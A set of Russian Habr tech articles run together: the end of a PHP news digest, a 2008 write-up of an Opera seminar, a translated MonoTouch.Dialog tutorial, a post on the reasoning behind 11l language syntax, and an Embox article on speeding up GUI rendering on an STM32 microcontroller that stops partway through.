+ [Вырастили легаси-мамонта и не смогли с ним жить (Андрей Мягков, Simtech Development)](https://www.youtube.com/watch?v=gU-U-gv1tKg) — Опыт переписывания внутреннего продукта на PHP.
+ [Чем страшны шутки со временем в PHP (Алексей Сундуков, ZeBrains)](https://www.youtube.com/watch?v=bZoGeJBcMyY) — Советы по работе с таймзонами в PHP.
+ [Как найти общий язык с API в микросервисах (Михаил Самаркин, Skyeng)](https://www.youtube.com/watch?v=ZNsHfU_1l6A) — Создаем единый формат ответа об ошибках в микросервисах.
*  [PHP Release Radar — Episode 1: Composer 2.0](https://www.youtube.com/watch?v=ZJFe8qq2-kQ) — Новый (видео-)подкаст про релизы в PHP-мире. В первом выпуске один из главных разработчиков композера [Nils Adermann](https://twitter.com/naderman).
*  [PHP Internals News #72 :: PHP 8.0 Celebrations!](https://phpinternals.news/72) — Каждый автор RFC в PHP 8 говорит по паре слов о своей фиче.
*  [PHP Internals News #71](https://phpinternals.news/71) — О том, что не попало в итоге в PHP 8:
• [\_\_toArray()](https://wiki.php.net/rfc/to-array);
• [перегрузка операторов](https://github.com/php/pecl-php-operator);
• [readonly свойства](https://wiki.php.net/rfc/write_once_properties);
• [компактное присвоение для объектов](https://wiki.php.net/rfc/compact-object-property-assignment);
• [return if ($condition)](https://wiki.php.net/rfc/conditional_break_continue_return);
• [модификаторы доступа на чтение и запись для свойств](https://wiki.php.net/rfc/property_write_visibility).
Спасибо за внимание!
Если вы заметили ошибку или неточность — сообщите, пожалуйста, в [личку хабра](https://habrahabr.ru/conversations/pronskiy/) или [телеграм](https://t.me/pronskiy).
> Больше новостей и комментариев в Telegram-канале **[PHP Digest](https://t.me/phpdigest)**.
>
>
[Прислать ссылку](https://bit.ly/php-digest-add-link)
[Поиск ссылок по всем дайджестам](https://pronskiy.com/php-digest/)
← [Предыдущий выпуск: PHP-Дайджест № 192](https://habr.com/ru/post/528256/) | https://habr.com/ru/post/530562/ | null | ru | null |
# Впечатления от конференции Opera Software. Новосибирск.
Итак, вчера, 7.11.2008 благополучно уговорил одногруппников сходить на семинар Opera. А все потому, что я участник [Opera Campus Crew](http://www.opera.com/education/campuscrew/getstarted/russian), или иначе выражаясь представитель Opera в своем университете.
Семинар в целом очень даже понравился, были интересные моменты. Вкратце Вам расскажу о них:)
Началась конференция с того, что рассказывали о компании Опера, о кадрах, итог таков:
В компании работают около 500 человек, за последний год было скачано 100 000 000 их браузеров, что конечно по-меньше Firefox, но думаю все равно неплохо. Продолжили они рассказом про Opera Mobile, хвастались, что им удалось еще в 2005 году создать мобильный браузер, умеющий правильно работать с Ajax. На данный момент бОльшие возможности имеет Opera Mobile для WM и UIQ, но в скором времени планируется продолжить разработку для S60. Ну и конечно они не забыли про Opera Mini, у нее оказывается целых 20 миллионов пользователей. Россия лидирует по количеству пользователей, что не может не радовать:). Кстати, 50% российского GPRS-трафика тратится как раз именно оперой мини.
Далее не забыли упомянуть о Интернете как о платформе для приложений, главным плюсом на их взгляд является то, что Интернет доступен везде, и он гибок. Рассказывалось о WEB-стандартах (W3C и т.д.), думаю об этом не стоит рассказывать так как и так все понятно. Хвалились тем, что Opera cама участвует в разработке веб стандартов, целых 25 сотрудников занимаются как раз этим, в основном W3C конечно.
Про свои фичи — Виджеты ведущие семинара тоже не забыли, в их пользу было сказано достаточно много чего хорошего, например то, что легко переносимы на разные платформы, могут работать как и в режиме онлайн, так и в оффлайн, загружают из Интернета только измененные данные, что разумеется актуально для пользователей с тарифами по оплате трафика и «мобильным» пользователям, да и создавать виджеты достаточно просто по их заявлению.
Рассказывали о Dragonfly (Firebug для Opera), удобство заключается в том, что отладчик может работать удаленно (Допустим отлаживать виджет на мобильном телефоне будет трудновато и неудобно, а с такими возможностями можно отлаживать виджеты напрямую с компьютера). Работает по такой схеме
`Dragonfly
|
Proxy
|
Scope`
Scope — это как я понял интерфейс в каждой опере с ядром версии 2.1 используемый для удаленной отладки.
API Scope пока еще не доработан до конца, но они обещают его в скором времени сделать публичным.
Очень полезная фича: можно запустить два экземпляра отладчика:
Схема:
`| Host | | Client |
| Scope | -- | Proxy |`
Следующей темой конференции являлась различная графика, начали рассказывать про PNG. Что он, как свободная замена GIF, поддерживающий анимацию! (не знал об этом) и стандартизированный в W3C весьма хороший формат для WEB. Но есть большой минус, как и у всех форматов, хранящих растровое изображение — при большом увеличении рисунок не масштабируется, и становится видно квадартики, которые весьма некрасиво выглядят. Поэтому они предлагают векторный SVG, который не теряет свое качество даже при большом масштабе. В перемежку с XHTML можно создавать достаточно интересные интерактивные анимации, например, как показали на конференции аналоговые часы. Из темы SVG плавно перешли на тему -рисования, несмотря на то, что рисовать с его помощью сложнее, у него больше возможностей. (Продемонстрировали 3-д шутер:) Вот фото, да простят меня хабраюзеры за качество)
[](http://img222.imageshack.us/my.php?image=x0d525a3dqr9.jpg)
На этом в общем-то всё, думаю это будет интересно тем, кто хотел сходить, но не смог.
P.S. Ах да, еще, подарили диск с Оперой, наклейку, фирменную ручку и пакет. Вот. | https://habr.com/ru/post/44194/ | null | ru | null |
# Укрощаем пользовательский интерфейс на iPhone с MonoTouch.Dialog
В основе пользовательского интерфейса лежит UITableView, мощный виджет по отрисовке таблиц, который использует, почти, каждое приложение на iPhone. UITableView — мощный виджет, которые умеет отрисовывать данные различными способами, основываясь на том, как вы настроили сам виджет.
Вот вам пример всевозможных видов UITableView:
Cодержимое UITableView рендерится вызовом кода, который пишет разработчик, который предоставляет данные по требованию. Протокол включает в себя такие запросы, как: «Сколько секций?», «Сколько строк в секции N?», «Какой заголовок секции N?» в виде колбэков для предоставления актуального содержимого ячейки. Не смотря на всю мощь виджета, создавать UI с его помощью довольно проблематично. Разработчики тратят слишком много времени, повторяя свои действия, настраивая каждое представление, скудная конфигурация и нужда в шлифовании некоторых настроек. [Портируя многие примеры с Object-C](http://github.com/migueldeicaza/monotouch-samples/tree/master/monocatalog/) на C# я находил нужный вариант повторяя один и тот же процесс снова и снова.
На моих пальцах появились мозоли, но даже по ночам я думал, что нашел не идеальное решение и существует вариант по лучше. Но в то время, я делал простое построчное портирование, я был не готов создать новое API поверх всего этого.
Недавно, когда мой любимый твиттер-клиент на iPhone испоганил свой UI, я решил написать свой собственный Twitter-клиент. Первым шагом было создать настройки для моего твиттер-аккаунта. Как вы поняли, это реализовывается через UITableView. Мне пришлось настроить модель, отвечающую на события представления, switch'и и if'ы были тут и там, вообщем никакого наслаждения от написания кода. Вот так и родился MonoTouch.Dialog.
Я хотел, чтобы с помощью рефлекции класс мог привязаться к диалоговому окну, что-то, что позволило бы мне написать C# класс и привязать его к UITableView:
> `class TwitterConfig {
>
> [Section ("Account")]
>
> [Entry] string Username;
>
> [Password] string Password;
>
>
>
> [Section ("Settings")]
>
> bool AutoRefresh;
>
> bool AutoLoad;
>
> bool UseTwitterRetweet;
>
> }`
Вместо того, чтобы начать использовать рефлекцию, я создал представление текущего диалога в памяти. Идея была в том, что рефлекция будет мостом, который может использовать код движка.
Код движка построен по принципу — каждая строка может быть виджетом. Она может содеражить текст, переключатель, текстовое поле, слайдер, календарь или любой созданный пользователем элемент управления. Я назвал это «Elements» и создал следующие:
* BooleanElement — отрисовка с помощью UISwitch
* FloatElement — слайдер
* HtmlElement — при нажатии запускает веб-браузер
* StringElement — отображает простой текст
* MultilineElement — многострочный текст
* RadioElement — единичный выбор со списка
* CheckboxElement — как BooleanElement, но вместо UISwitch использует checkbox
* ImageElement — позволяет пользователю выбрать картинку или сделать фотографию
* EntryElement — текстовое поле
* DateTimeElement, DateElement, TimeElement — выбор даты/дат и времени
MonoTouch.Dialog следует рекомендациям [Apple HIG](http://developer.apple.com/iphone/library/documentation/UserExperience/Conceptual/MobileHIG/Introduction/Introduction.htmll) для iPhone, давая возможность максимально сфокусироваться на приложении, а не на его мелочах.
Также, UITableView построен на основе MVC, которая позволяет эффективно масштабировать большие наборы данных, большинство страниц с настройками и данными не требуют такой сложности.
Другой возможностью является, решение всех проблем с вводом текста: ввод текста, автоматический переход на следующую строку при нажатии Enter, выравнивание всех линий в секции, скрытие клавиатуры при достижении конца ввода.
Пример API в действии:
> `var root = new RootElement ("Settings") {
>
> new Section (){
>
> new BooleanElement ("Airplane Mode", false),
>
> new RootElement ("Notifications", 0, 0) { Notifications }
>
> new Section (){
>
> new RootElement ("Sound"), { Sound },
>
> new RootElement ("Brightness"){ Brightness },
>
> new RootElement ("Wallpaper"){ Wallpaper }
>
> },
>
> new Section () {
>
> new EntryElement ("Login", "Your login name", "miguel"),
>
> new EntryElement ("Password", "Your password", "password", true),
>
> new DateElement ("Select Date", DateTime.Now),
>
> new TimeElement ("Select Time", DateTime.Now),
>
> }
>
> }`
Создав RootElement, вы можете передавать его в DialogViewController для управления:
> `var dv = new DialogViewController (root);
>
> navigation.PushViewController (dv, true);`
### Reflection API
API реплекции проверяет класс на наличие полей, к которым привязаны специальные атрибуты.
Пример класса и как он отрисовывается:
> `class AccountInfo {
>
> [Section]
>
> public bool AirplaneMode;
>
>
>
> [Section ("Data Entry", "Your credentials")]
>
>
>
> [Entry ("Enter your login name")]
>
> public string Login;
>
>
>
> [Caption ("Password"), Password ("Enter your password")]
>
> public string passwd;
>
>
>
> [Section ("Travel options")]
>
> public SeatPreference preference;
>
> }`
Как вы заметили, энумераторы(SeatPreference) автоматически преобразуются в radio, которое использует UINavigationController для управления, а заголовки берутся из имен полей, данное поведение можно настроить с помощью атрибута [Caption].
С помощью атрибутов, можно задать способы отрисовывания, заголовок, изображение и т.д.
### LINQ и MonoTouch.Dialog
Крэйг написал отличное приложение для конференции для Mix 2010. Я помог ему уменьшить количество кода, удалив весь повторяющийся код, чтобы установить UITableView для различных частей приложения для MonoTouch.Dialog. Так как приложение конференции работает с расписанием в базе данных, я расширил MonoTouch.Dialog для улучшения работы с LINQ.
В том же духе, как и с System.Xml.Linq API, который позволяет вам создавать XML документы с вложенными LINQ-определениями, вы можете использовать MonoTouch.Dialog для создания UI.
Для приложения Крэйга, я написал SessionElement, который позволяет запустить сессии и показывать заголовок и местоположение сессии.
Следующий код содержит UI с закладки «My Schedule». Данные запрашиваются по требованию (Apple рекомендует «ленивую» загрузку для всех представлений)
> `public class FavoritesViewController : DialogViewController {
>
> public FavoritesViewController () : base (null) { }
>
>
>
> public override void ViewWillAppear (bool animated)
>
> {
>
> var favs = AppDelegate.UserData.GetFavoriteCodes();
>
> Root = new RootElement ("Favorites") {
>
> from s in AppDelegate.ConferenceData.Sessions
>
> where favs.Contains(s.Code)
>
> group s by s.Start into g
>
> orderby g.Key
>
> select new Section (MakeCaption ("", g.Key)) {
>
> from hs in g
>
> select (Element) new SessionElement (hs)
>
> }
>
> };
>
> }
>
> }`
Так что используйте любую из двух моделей, которая вам больше нравится: Reflection для быстрой и простой работы с интерфейсом и данными или Element API для более продвинутой настройки пользовательского интерфейса, не тратя полжизни на написание [boilerplate кода](http://en.wikipedia.org/wiki/Boilerplate_%28text%29)
Я надеюсь, что все это помогло вам, ребята, потратить больше времени на улучшения своих приложений и меньше времени на написания рутинного кода.
MonoTouch.Dialog не идеален и не содержит всех пожеланий. Также я приветствую дополнения, вы не скованы ничем в [данной ветке кода](http://github.com/migueldeicaza/MonoTouch.Dialog) и вносите любые изменения, которые покажутся вам нужными. | https://habr.com/ru/post/85564/ | null | ru | null |
# Как мои проблемы с памятью привели к созданию синтаксиса, который невозможно забыть
Около 10 лет назад у меня начались серьёзные проблемы в ментальной сфере, в том числе с памятью {впрочем, в этом есть и свои плюсы: например негативные эмоции [злость на кого-то, раздражение, обида] забываются так быстро, что практически полностью перестали меня беспокоить}. Я просто физически перестал понимать всякие сложные штуки вроде графических API или каких-то объёмных библиотек, а при выполнении рабочих задач столкнулся с такой проблемой что к концу прочтения текста какой-нибудь не самой короткой задачи я забывал начало этой задачи (так что мне приходилось перечитывать условие задачи много раз чтобы хоть как-то запомнить его).
Несмотря на то, что к этому моменту я уже закончил разработку графического движка для одного [впрочем не слишком коммерчески успешного] игрового проекта, на меня накатывала апатия и депрессия, и не удивительно — что толку быть разработчиком движка, код которого ты просто перестал понимать (а о возможностях его [графического движка] совершенствования и говорить нечего).
Вскоре так получилось, что компания Katauri, в которой я работал, фактически прекратила свою деятельность и я уволился. В результате, я совсем перестал программировать, что вгоняло в депрессию ещё сильнее. Более 2-х лет я вообще не работал и не искал работу (обстоятельства так сложились, что я жил далеко от всех своих родственников и у меня была достаточная финансовая подушка [лет на 5], что позволяло скрывать от всех своё положение), пока в начале 2016 не случилось событие [смерть моего отца], которое резко изменило мою отшельническую жизнь — я прилетел домой на похороны, и вскоре решился сказать родственникам, что я не работаю с 2014 года.
В это же время [в начале 2016] у меня стали появляться идеи для нового языка программирования, которые я просто складировал в отдельный текстовый файлик. Вначале я не придавал этому большого значения (в конце концов, мало кому нужен *просто ещё один* язык программирования, и я понимал это), но впоследствии оригинальных идей получилось достаточно много, так что я решил попробовать заняться этим всерьёз, сделав упор на продуманность синтаксиса языка.
По мнению многих программистов, синтаксис языка программирования не так важен, или даже более категорично:
> [*Syntaxation • Douglas Crockford • GOTO 2013*](https://youtu.be/Nlqv6NtBXcA?t=1m50s):
>
>
>
> Syntax is the least important aspect of programming language design.
Я подозреваю, это от того, что обычным программистам не составляет труда просто запомнить "как надо" и всё. А мне — составляет [причём порой очень большого труда]. Поэтому при разработке синтаксиса я вынужден был опираться не на память, а на логику. Так, практически все элементы синтаксиса нового языка имеют/получили рациональное обоснование их выбора. Остаток данной статьи я посвящу перечислению наиболее значимых обоснований выбора элементов синтаксиса, которые [эти обоснования] не встречаются в других статьях (таких как [«Разработка когнитивно-эргономического синтаксиса для нового аппаратно-ориентированного языка программирования»](https://forum.11l-lang.org/threads/%D0%A0%D0%B0%D0%B7%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BA%D0%B0-%D0%BA%D0%BE%D0%B3%D0%BD%D0%B8%D1%82%D0%B8%D0%B2%D0%BD%D0%BE-%D1%8D%D1%80%D0%B3%D0%BE%D0%BD%D0%BE%D0%BC%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B3%D0%BE-%D1%81%D0%B8%D0%BD%D1%82%D0%B0%D0%BA%D1%81%D0%B8%D1%81%D0%B0-%D0%B4%D0%BB%D1%8F-%D0%BD%D0%BE%D0%B2%D0%BE%D0%B3%D0%BE-%D0%B0%D0%BF%D0%BF%D0%B0%D1%80%D0%B0%D1%82%D0%BD%D0%BE-%D0%BE%D1%80%D0%B8%D0%B5%D0%BD%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D0%BE%D0%B3%D0%BE-%D1%8F%D0%B7%D1%8B%D0%BA%D0%B0-%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F.8/)) и в документации к языку. [Про сам язык можно прочитать на [его странице в Википедии](https://ru.wikipedia.org/wiki/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:Alextretyak/11l). Примеры кода и документация представлены на [веб-сайте языка](https://11l-lang.org/ru).]
**Почему аргументы функций по умолчанию константны, а переменные — нет, разве это не приводит к несогласованности, [упомянутой в документации языка программирования D](https://dlang.org/articles/const-faq.html#const-parameters)?**
Ну переменные на то и переменные, что могут изменяться, а аргументы — это другое слово. Но самое главное почему допустима такая "несогласованность" — если при объявлении переменной абсолютно ясно что означает её изменяемость, то в случае аргументов функции такой ясности уже нет: возможно, что меняться будет копия переменной [передача по значению], а возможно, что меняться будет сама переменная, переданная в функцию [передача по ссылке]. Поэтому в 11l [используются](https://11l-lang.org/doc/ru/F) квалификаторы: `=` для копирования значения, `&` для передачи по ссылке, а в случае отсутствия квалификатора аргумент передаётся по константной ссылке (либо по константному значению, если размер аргумента не превышает размера указателя [например если аргумент целочисленного типа {т.к. использовать [константную] ссылку в данном случае менее эффективно}]).
**Почему глобальные функции и типы не требуют префикса `:`, а глобальные переменные требуют?**
Потому что глобальные функции и типы — это нормально, а глобальные переменные — это не очень хорошо.
**Почему `a.len`/`sum(a)`/`a.map(f)`, а не `len(a)`/`a.sum()`/`map(a, f)`?**
В 11l используется кратчайшая запись:
```
a.len
len(a)
a.len()
sum(a)
a.sum()
a.map(f)
map(a, f)
```
И кроме того, функции вроде `sum()` (`any()`, `all()`, `product()`, `min()`, `max()`) всегда финальны [в отличие от `map()` и `filter()`].
**Почему `print()` в 11l не поддерживает запятую для вывода нескольких переменных как в Python?**
В Python запятая полезна для вывода нестроковых переменных:
```
print(a, b)
```
Альтернативные записи (`print(str(a) + ' ' + str(b))` или `print(f'{a} {b}')`) более многословны.
Но в 11l можно писать так:
```
print(a‘ ’b)
```
И к тому же, в языках программирования нет консенсуса по символу разделителю — в некоторых языках (например Python, Swift, JavaScript (`console.log()`)) используется пробел [по умолчанию], в других ({PHP (`echo`), Ruby, Go (`fmt.Print`), Pascal (`write`), D (`write`), Perl, Julia, Nim (`echo`)}) — пустая строка, а в Lua и Basic вообще используется табуляция {а точнее в Basic используется print zone из 14 или 16 пробелов, и пробел или пустая строка при использовании разделителя `;`}.
**Почему запись `x, y = i, j` не поддерживается (и необходимо писать `(x, y) = (i, j)`)?**
Потому что её можно спутать с записью `int x, y = i, j;` в Си [и её аналогом `Int x, y = i, j` в 11l], которая обозначает совсем другое.
[В Python запись `(x, y) = (i, j)` также корректна.]
**Почему `return a, b` не поддерживается (и необходимо писать `return (a, b)`)?**
`return a, b` у меня ассоциируется с возвратом функцией множества значений, хотя в Python это не так — реально возвращается кортеж (одно значение типа tuple), в чём можно убедиться через `print(type(f()))`. (Что я имею в виду под возвратом множества значений: ну, например, если функция `bar()` возвращает `1, 2`, то вызов `foo(bar())` означает `foo(1, 2)` [так это работает например в языке Lua], а если возвращает `(1, 2)`, то означает `foo((1, 2))`.)
**Почему `write_bytes()`, а не просто перегруженная `write()`?**
Для симметрии с `read_bytes()`.
**А почему `read_bytes()`?**
Сделать как в Python {то есть, чтобы в зависимости от режима открытия файла (`b` или `t`) менялся тип возвращаемого значения функции `read()`} в 11l не получится из-за статической типизации.
**Почему `null`, а не `none` или `nil`?**
Потому что есть nullable-типы, а не noneable.
**А нельзя было обойтись без префикса `@`?**
Можно, но я решил использовать префикс [ради эксперимента (улучшится с ним читаемость кода или наоборот)], так как отказаться от него в будущем в принципе вполне возможно, а вот добавить впоследствии — точно нет.
**Почему для while-циклов используется ключевое слово `loop`, а не `for` как например в Go?**
Для цикла while ([while loop](https://yourbasic.org/golang/for-loop/#while-loop)) логичным является либо `while`, либо `loop`, но никак не `for`.
[А в Go, видимо, сделано по аналогии с Си с его универсальным `for` (`for (;;)` для бесконечного цикла и `for (;condition;)` как синоним `while (condition)`).] | https://habr.com/ru/post/696654/ | null | ru | null |
# Разбираемся в особенностях графической подсистемы микроконтроллеров
Привет!
В этой статье я бы хотел рассказать об особенностях реализации графического пользовательского интерфейса с виджетами на микроконтроллере и как при этом иметь и привычный пользовательский интерфейс и приличный FPS. Внимание я хотел бы акцентировать не на какой-то конкретной графической библиотеке, а на общих вещах — память, кэш процессора, dma и так далее. Поскольку я являюсь разработчиком команды [Embox](http://embox.github.io/), приведенные примеры и эксперименты будут на данной ОС РВ.
Ранее мы уже рассказывали про [запуск библиотеки Qt на микроконтроллере](https://habr.com/ru/company/embox/blog/459730/). Получилась достаточно плавная анимация, но при этом затраты по памяти даже на хранение прошивки были существенными — код исполнялся из внешней флэш памяти QSPI. Конечно, когда требуется сложный и многофункциональный интерфейс, который еще и анимацию какую-то умеет делать, то затраты по аппаратным ресурсам могут быть вполне оправданы (особенно если у вас уже есть этот код, разработанный под Qt).
Но если вам не нужна вся функциональность Qt? Что если у вас четыре кнопки, один регулятор громкости и пара popup меню? При этом хочется, чтобы “выглядело красиво и работало быстро” :) Тогда будет целесообразным использовать более легковесные средства, например библиотеку [lvgl](https://lvgl.io/) или аналогичную.
У нас в проекте Embox некоторое время назад был [портирован Nuklear](https://habr.com/ru/company/embox/blog/347282/) — проект по созданию очень легковесной библиотека, состоящая из одного хедера и позволяющий легко создавать несложный GUI. Его мы и решили использовать для создания небольшого приложения в котором будет виджет с набором графических элементов и которым можно было бы управлять через touchscreen.
В качестве платформы выбрали STM32F7-Discovery c Cortex-M7 и сенсорным экраном.
#### Первые оптимизации. Экономия памяти
Итак, графическая библиотека выбрана, платформа тоже. Теперь поймем что по ресурсам. Тут стоит отметить, что основная память SRAM в разы быстрей внешней SDRAM, поэтому если вам позволяют размеры экраны, то конечно лучше положить фреймбуфер в SRAM. Наш экран имеет разрешение 480x272. Если мы хотим цвет в 4 байта на пиксель, то получается порядка 512 Кб. При этом размер внутреннего RAM всего 320 и сразу понятно, что видеопамять будет внешней. Другой вариант — уменьшить битность цвета до 16 (т.е. 2 байта), и таким образом сократить расход памяти до 256 Кб, что уже может влезть в основную RAM.
Первое что можно попробовать — сэкономить на всем. Сделаем видео буфер на 256 Кб, разместим его в RAM и будем в него же и рисовать. Проблема, с которой сразу же столкнулись — это “мерцание” сцены возникающее если рисовать напрямую в видеопамять. Nuklear перерисовывает всю сцену “с нуля”, поэтому каждый раз сначала выполняется заливка всего экрана, далее рисуется виджет, потом в него кладется кнопка, в которую помещается текст и так далее. Как следствие, невооруженным взглядом заметно, как вся сцена перерисовывается и картинка “мигает”. То есть простое помещение во внутреннюю память не спасает.
#### Промежуточный буфер. Компиляторные оптимизации. FPU
После того как мы немного повозились с предыдущим способом (размещением во внутренней памяти), в голову сразу стали приходить воспоминания об X Server и Wayland. Да, действительно, по сути оконные менеджеры и занимаются тем, что обрабатывают запросы от клиентов (как раз наше пользовательское приложение), и далее собирают элементы в итоговую сцену. К примеру, ядро Линукса посылает серверу события от input устройств через драйвер evdev. Сервер, в свою очередь, определяет кому из клиентов адресовать событие. Клиенты, получив событие (например, нажатие на сенсорном экране) выполняют свою внутреннюю логику — подсвечивают кнопку, отображают новое меню. Далее (немного по-разному для X и Wayland) либо сам клиент, либо сервер производит отрисовку изменений в буфер. И затем компоновщик (compositor) уже соединяет все кусочки воедино для отрисовки на экран. Достаточно просто и схематичное объяснение вот [здесь](https://wayland.freedesktop.org/architecture.html).
Стало ясно, что нам нужна похожая логика, вот только запихивать X Server в stm32 ради маленького приложения очень уж не хочется. Поэтому попробуем просто рисовать не в видео память, а в обычную память. После отрисовки всей сцены будет копировать буфер в видео память.
**Код виджета**
```
if (nk_begin(&rawfb->ctx, "Demo", nk_rect(50, 50, 200, 200),
NK_WINDOW_BORDER|NK_WINDOW_MOVABLE|
NK_WINDOW_CLOSABLE|NK_WINDOW_MINIMIZABLE|NK_WINDOW_TITLE)) {
enum {EASY, HARD};
static int op = EASY;
static int property = 20;
static float value = 0.6f;
if (mouse->type == INPUT_DEV_TOUCHSCREEN) {
/* Do not show cursor when using touchscreen */
nk_style_hide_cursor(&rawfb->ctx);
}
nk_layout_row_static(&rawfb->ctx, 30, 80, 1);
if (nk_button_label(&rawfb->ctx, "button"))
fprintf(stdout, "button pressed\n");
nk_layout_row_dynamic(&rawfb->ctx, 30, 2);
if (nk_option_label(&rawfb->ctx, "easy", op == EASY)) op = EASY;
if (nk_option_label(&rawfb->ctx, "hard", op == HARD)) op = HARD;
nk_layout_row_dynamic(&rawfb->ctx, 25, 1);
nk_property_int(&rawfb->ctx, "Compression:", 0, &property, 100, 10, 1);
nk_layout_row_begin(&rawfb->ctx, NK_STATIC, 30, 2);
{
nk_layout_row_push(&rawfb->ctx, 50);
nk_label(&rawfb->ctx, "Volume:", NK_TEXT_LEFT);
nk_layout_row_push(&rawfb->ctx, 110);
nk_slider_float(&rawfb->ctx, 0, &value, 1.0f, 0.1f);
}
nk_layout_row_end(&rawfb->ctx);
}
nk_end(&rawfb->ctx);
if (nk_window_is_closed(&rawfb->ctx, "Demo")) break;
/* Draw framebuffer */
nk_rawfb_render(rawfb, nk_rgb(30,30,30), 1);
memcpy(fb_info->screen_base, fb_buf, width * height * bpp);
```
В этом примере создается окно размером 200 x 200 пикселей, в него отрисовываются графические элементы. Сама итоговая сцена рисуется в буффер fb\_buf, который мы выделили SDRAM. А далее в последней строчке просто вызывается memcpy. И все повторяется в бесконечном цикле.
Если просто собрать и запустить этот пример, получим порядка 10-15 FPS. Что конечно не очень хорошо, ведь заметно даже глазом. Причем поскольку в коде рендера Nuklear много вычислений с плавающей точкой, [ее поддержку мы включили изначально](https://habr.com/ru/company/embox/blog/418295/), без нее FPS был бы еще ниже. Первая и самая простая (бесплатная) оптимизация, конечно, флаг компилятора -O2.
Соберем и запустим тот же самый пример — получим 20 FPS. Уже лучше, но все равно недостаточно для хорошей работы.
#### Включение кэшей процессора. Режим Write-Through
Перед тем как перейти к дальнейшим оптимизациям, скажу что мы используем плагин rawfb в составе Nuklear, который как раз и рисует напрямую в память. Соответственно, оптимизация работы с памятью выглядит очень перспективно. Первое что приходит на ум — это cache.
В старших версиях Cortex-M, таких как Cortex-M7 (наш случай), встроен дополнительный кэш процессора (кэш инструкций и кэш данных). Он включается через регистр CCR блока System Control Block. Но с включением кэша приходят новые проблемы — несогласованность данных в кэше и памяти. Есть несколько способов управления кэшем, но в этой статье я не буду на них останавливаться, поэтому перейду к одному из самых простых, на мой взгляд. Чтобы решить проблему несогласованности кэша и памяти можно просто пометить всю доступную нам память как “некэшируемую”. Это означает, что все записи в эту память будут всегда проходить в память, а не в кэш. Но если мы таким способом пометим всю память, то и от кэша смысла не будет. Есть еще один вариант. Это “сквозной” режим, при котором все записи в память помеченную как write through попадают одновременно как в кэш, так и в память. Это создает накладные расходы на запись, но с другой стороны, сильно ускоряет чтение, поэтому результат будет зависеть от конкретного приложения.
Для Nuklear’а write-through режим оказался очень хорош — производительность поднялась с 20 FPS до 45 FPS, что само по себе уже достаточно хорошо и плавно. Эффект конечно интересный, мы даже пробовали отключать write through режим, не обращая внимания на несогласованность данных, но FPS поднимался лишь до 50 FPS, то есть значительного прироста по сравнению с write through не наблюдалось. Отсюда мы сделали вывод, что для нашего приложения требуются много именно операций чтения, а не записи. Вопрос конечно откуда? Возможно, из-за количества преобразований в коде rawfb, которые часто обращаются в память за чтением очередного коэффициента или что-то в этом роде.
#### Двойная буферизация (пока с промежуточным буфером). Включение DMA
Останавливаться на 45 FPS не хотелось, поэтому решили поэкспериментировать дальше. Следующей идей была двойная буферизация. Идея широко известная, и в общем-то нехитрая. Отрисовываем сцену с помощью одного устройства в один буфер, а другое устройство в это время выводит на экран из другого буфера. Если посмотреть на предыдущий код, то хорошо виден цикл, в котором сначала в буфер рисуется сцена, а затем с помощью memcpy содержимое копируется в видео память. Понятно, что memcpy использует CPU, то есть отрисовка и копирование происходят последовательно. Наша идея была в том, что копирование можно делать параллельно с помощью DMA. Другими словами, пока процессор рисует новую сцену, DMA копирует предыдущую сцену в видеопамять.
Memcpy заменяется следующим кодом:
```
while (dma_in_progress()) {
}
ret = dma_transfer((uint32_t) fb_info->screen_base,
(uint32_t) fb_buf[fb_buf_idx], (width * height * bpp) / 4);
if (ret < 0) {
printf("DMA transfer failed\n");
}
fb_buf_idx = (fb_buf_idx + 1) % 2;
```
Здесь вводится fb\_buf\_idx — индекс буфера. fb\_buf\_idx = 0 — это front buffer, fb\_buf\_idx = 1 — это back buffer. Функция dma\_transfer() принимает destination, source и кол-во 32 битных слов. Далее DMA заряжается требуемыми данными, а работа продолжается со следующим буфером.
Попробовав такой механизм производительность выросла примерно до 48 FPS. Чуть лучше чем с memcpy(), но незначительно. Я не хочу сказать, что DMA оказался бесполезен, просто в этом конкретном примере влияние кэша на общую картину показало себя лучше.
После небольшого удивления, что DMA показал себя хуже чем ожидалось, пришла “отличная”, как нам тогда казалось, мысль использовать несколько DMA каналов. В чем суть? Число данных, которые можно зарядить в DMA за один раз на stm32f7xx составляет 256 Кб. При этом помним, что экран у нас 480x272 и видеопамять порядка 512 Кб, а значит, казалось бы, что можно первую половину данных положить в один канал DMA, а вторую половину — во второй. И все вроде бы хорошо… Вот только производительность падает с 48 FPS до 25-30 FPS. То есть возвращаемся к той ситуации, когда еще не включили кэш. С чем это может быть связано? На самом деле с тем, что доступ к памяти SDRAM синхронизируется, даже память так и называется Synchronous Dynamic Random Access Memory (SDRAM), поэтому такой вариант лишь добавляет дополнительную синхронизацию, не делая при этом запись в память параллельной, как хочется. Немного поразмыслив, мы поняли, что ничего удивительного тут нет, ведь память то одна, и циклы записи и чтения генерируются к одной микросхеме (по одной шине), а поскольку добавляется еще один источник/приемник, то арбитру, который и разруливает обращения по шине, нужно смешивать циклы команд от разных DMA каналов.
#### Двойная буферизация. Работа с LTDC
Копирование из промежуточного буфера конечно хорошо, но как мы выяснили, этого недостаточно. Рассмотрим еще одно очевидное улучшение — двойную буферизацию. В подавляющем большинстве современных контроллеров дисплея можно задавать адрес на используемую видеопамять. Таким образом можно вообще избежать копирования, и просто переставлять адрес видеопамяти на подготовленный буфер, а контроллер экрана заберет данные оптимальным для него способом самостоятельно по DMA. Это и есть настоящая двойная буферизация, без промежуточного буфера как было до этого. Еще есть вариант когда контроллер дисплея может иметь два и более буферов, что по сути дела тоже самое — пишем в один буфер, а другой используется контроллером, при этом копирование не требуется.
У LTDC (LCD-TFT display controller) в составе stm32f74xx есть два аппаратных уровня наложения — Layer 1 и Layer 2, где Layer 2 накладывается на Layer 1. Каждый из уровней конфигурируется независимо и может быть включен или отключен отдельно. Мы попробовали включить только Layer 1 и у него переставлять адрес видеопамяти на front buffer или back buffer. То есть один отдаем дисплею, а в другой в это время рисуем. Но получили заметное дрожание картинки при переключении наложений.
